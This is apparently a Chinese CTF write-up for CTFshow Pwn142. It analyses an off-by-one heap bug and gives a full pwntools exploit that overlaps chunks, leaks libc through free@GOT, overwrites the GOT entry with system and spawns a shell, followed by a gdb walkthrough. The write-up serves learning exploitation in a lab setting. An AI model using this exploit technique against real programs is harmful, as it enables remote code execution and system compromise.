CTFshow-Pwn142-Off-by-One(堆块重叠)

64 位程序,未开启 PIE

主函数提供增删改打印功能

先看 del

cpp 复制代码
free(*(void **)(*((_QWORD *)&heaparray + v1) + 8LL)); // 释放内容块 (C)
free(*((void **)&heaparray + v1));                   // 释放管理块 (M)
*((_QWORD *)&heaparray + v1) = 0LL;                   // 置零管理块指针

free 了两个堆块,看似只置零了一个堆块的指针

实际入口被封死:程序所有的 editshowdelete 函数,第一步都是检查 if (heaparray[v1]),因此不存在 uaf

接着我们看 create

依旧是管理块 + 数据块的堆题结构

cpp 复制代码
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);  //管理块分配

*(_QWORD *)(v0 + 8) = malloc(size);  //数据块分配
cpp 复制代码
// 将用户输入的 size 存入管理块的开头 (Offset +0)
**((_QWORD **)&heaparray + i) = size;

// 将用户输入的内容读入管理块偏移 +8 处存的指针所指向的地址
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);

接着我们看 edit

cpp 复制代码
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);

heaparray[v1] 指向的管理块中,偏移 +8 的位置取出数据块指针 content_ptr

heaparray[v1] 指向的管理块中,偏移 +0 的位置取出之前存的 size

调用 read_inputcontent_ptr 里写数据,但长度传的是 size + 1LL ,存在 Off-by-One

然后是 show

cpp 复制代码
printf(
  "Size : %ld\nContent : %s\n",
  **((_QWORD **)&heaparray + v1),                   // 取出 size 字段
  *(const char **)(*((_QWORD *)&heaparray + v1) + 8LL) // 取出 content_ptr 并作为字符串打印
);

总结:

程序每次 add 都会申请两个块:一个固定 0x10M(管理块) 和一个自定义大小的 D(数据块)

申请 0x18 是为了让你的数据末尾刚好顶在下一个块的 Size 字段门前 。这样 edit 溢出的那 1 个字节 ,才能绕过任何填充(Padding),直接改写 M10x21。如果你申请的是 0x10,中间会留下 8 字节的空隙,溢出 1 字节只会改写到无意义的填充位。

申请 D1(数据块)为 0x10,它的物理大小也是 0x20 。此时 M1 + D1 的物理总大小正好是0x20 + 0x20 = 0x40

我们在第一步溢出时,把 M1 的 Size 从 0x21 改成了 0x41 。当你 free(1) 时,系统会刚好把这连在一起的两个块当成一个整体回收掉。

add(0x18) :利用 对齐边界 。目的是让 D0 的结尾 == M1 的开头。

add(0x10) :利用 大小凑整 。目的是让 M1 + D1 的总和 == 我们伪造出来的那个 0x40

exp:

python 复制代码
from pwn import *

context(os='linux', arch='amd64')
#io = process('./pwn')
io = gdb.debug('./pwn',
 '''
b main
c
 ''')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, content):
    io.sendlineafter(b"choice :", b"1")
    io.sendlineafter(b"Size of Heap : ", str(size).encode())
    io.sendafter(b"Content of heap:", content)

def edit(index, content):
    io.sendlineafter(b"choice :", b"2")
    io.sendlineafter(b"Index :", str(index).encode())
    io.sendafter(b"Content of heap : ", content)

def show(index):
    io.sendlineafter(b"choice :", b"3")
    io.sendlineafter(b"Index :", str(index).encode())

def delete(index):
    io.sendlineafter(b"choice :", b"4")
    io.sendlineafter(b"Index :", str(index).encode())

add(0x18, b'aaaa') # Index 0
add(0x10, b'bbbb') # Index 1
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

delete(1)
free_got = elf.got['free']
payload =  p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

show(1)
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

edit(1, p64(system_addr))
delete(0)

io.interactive()

调试:

执行完第一次 add

管理快(M0):0x3d339290

它的数据区起始于 0x3d3392a0

里面存放着两个 8 字节的数据:D0 的大小 (0x18)D0 的指针 (0x3d3392c0)

数据块(D0):0x3d3392b0

它的数据区起始于 0x3d3392c0

里面存放着我们输入的内容(aaaa

再次执行 add

可以看到我们等会 Off-by-one 的目标,也就是 管理快(M1) 的 Size

继续执行

python 复制代码
edit(0, b"/bin/sh\x00" + b"A" * 0x10 + b"\x41")

0x3d3392c0:填入了 /bin/sh\x00

0x3d3392c8:填入了 8 个 A,0x3d3392d0:填入了 8 个 A

0x3d3392d8溢出的那个 \x41 刚好覆盖了原来的 0x21

接下来 delete(1),也就是 free(D1) 和 free(M1)

D1 的地址是 0x3d3392f0(数据区在 0x3d339300),它的 Size0x21(我们没改过它)

结果:它进入了 0x20 大小的 tcachebin

M1 的地址是 0x3d3392d0(数据区在 0x3d3392e0),它的 Size 被我们改成了 0x41

因此它被放进了 0x40 大小的 tcachebin

接下来我们需要把这个 0x40 的块申请回来

python 复制代码
payload = p64(0x10) + p64(free_got) + b'a'*24 + p64(free_got)
add(0x30, payload)

这个堆块起始于0x3d3392d0,数据从 **0x3d3392e0**开始写入

add 传入的内容,前 8 字节对应内容是 size(这里可以随便填数值)

偏移+8对应内容为数据块的指针,也就是我们要覆盖的目标,这里覆盖为 free_got

再往后的 24 字节分别对应的是:M1 尾部、D1->prev_size、D1->size

D1由于堆块重叠已经被吞了,所以直接都填充垃圾数据即可 b'a'*24

但是最后的 8 字节就很玄学了,这里还是填 free_got

再往后的 8 字节就是下一个堆块(通常是 Top Chunk)的起始头部 prev_size

这里如果不想管那么多,直接全覆盖为:free_got

python 复制代码
payload = p64(free_got) * 4 

也可以打通

至此,我们已经成功将 Index 1 的指针改成了 free_got

接下来调用 show(1)

程序原本的逻辑是"打印第 1 个块的内容"。因为改了指针,它现在会去 free_got 地址处读数据。

那么我们接收 free 函数的真实地址

python 复制代码
io.recvuntil(b"Content : ")
free_addr = u64(io.recv(6).ljust(8, b'\x00'))

leak libc 后,计算基地址,进而计算 system 函数edit(1, p64(system_addr))的地址

python 复制代码
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']

接下来我们劫持 GOT 表

python 复制代码
edit(1, p64(system_addr))

因为 Index 1 的指针指向 free_got,所以我们写入的 system_addr 会直接覆盖掉 GOT 表中 free 的地址

执行 edit 前,查看内存地址的值:

python 复制代码
x/gx 0x602018

显示的是 free 的真实地址

执行后,成功劫持为 system 函数的地址

最后执行:

python 复制代码
delete(0)

即:free(heaparray[0]->content_ptr)

由于前面我们已经将 "/bin/sh\x00" 写到了 0x3d3392c0 也就是 D0(Index 0 的数据块)

所以这里就是 free("/bin/sh")

但因为free_got 也被我们改成了system,所以实际执行的是:system("/bin/sh"),直接 getshell

相关推荐
ATA88888 小时前
企业数据库账号安全的技术解决方案
数据库·安全
Sirius Wu8 小时前
OpenClaw 并发安全完整详解
网络·人工智能·安全·ai·架构·aigc
李白你好9 小时前
一款面向攻防演练、红蓝对抗和安全研究场景的高交互智能欺骗蜜罐平台
安全·交互
来一碗刘肉面9 小时前
顺序表的按值查找
数据结构·c++·算法
捷瑞电子工坊9 小时前
C语言取地址符 `&` 极简教程
c语言·c语言基础·取地址符·指针入门
qcx2310 小时前
SpaCellAgent:用 LLM 多智能体怎么用于单细胞轨迹分析的?效率提升了多少?
人工智能·gpt·安全·ai·机器人·llm·agent
乱七八糟的屋子10 小时前
LibYAML超全教程-C语言YAML解析与生成
c语言·开发语言·配置文件·yaml解析·libyaml·开源库实战
小肝一下10 小时前
2. 顺序表和链表
c语言·数据结构·c++·链表·dijkstra·依蕾娜·香香的依蕾娜
j7~10 小时前
【数据结构初阶】带头双向循环链表 (DSList) --增删查改完整实现详解
c语言·数据结构·链表·带头双向循环链表
石像鬼₧魂石11 小时前
贵州商会管理系统 —— 商协会数字化运营一站式平台
大数据·数据结构·物联网·eclipse·数据库架构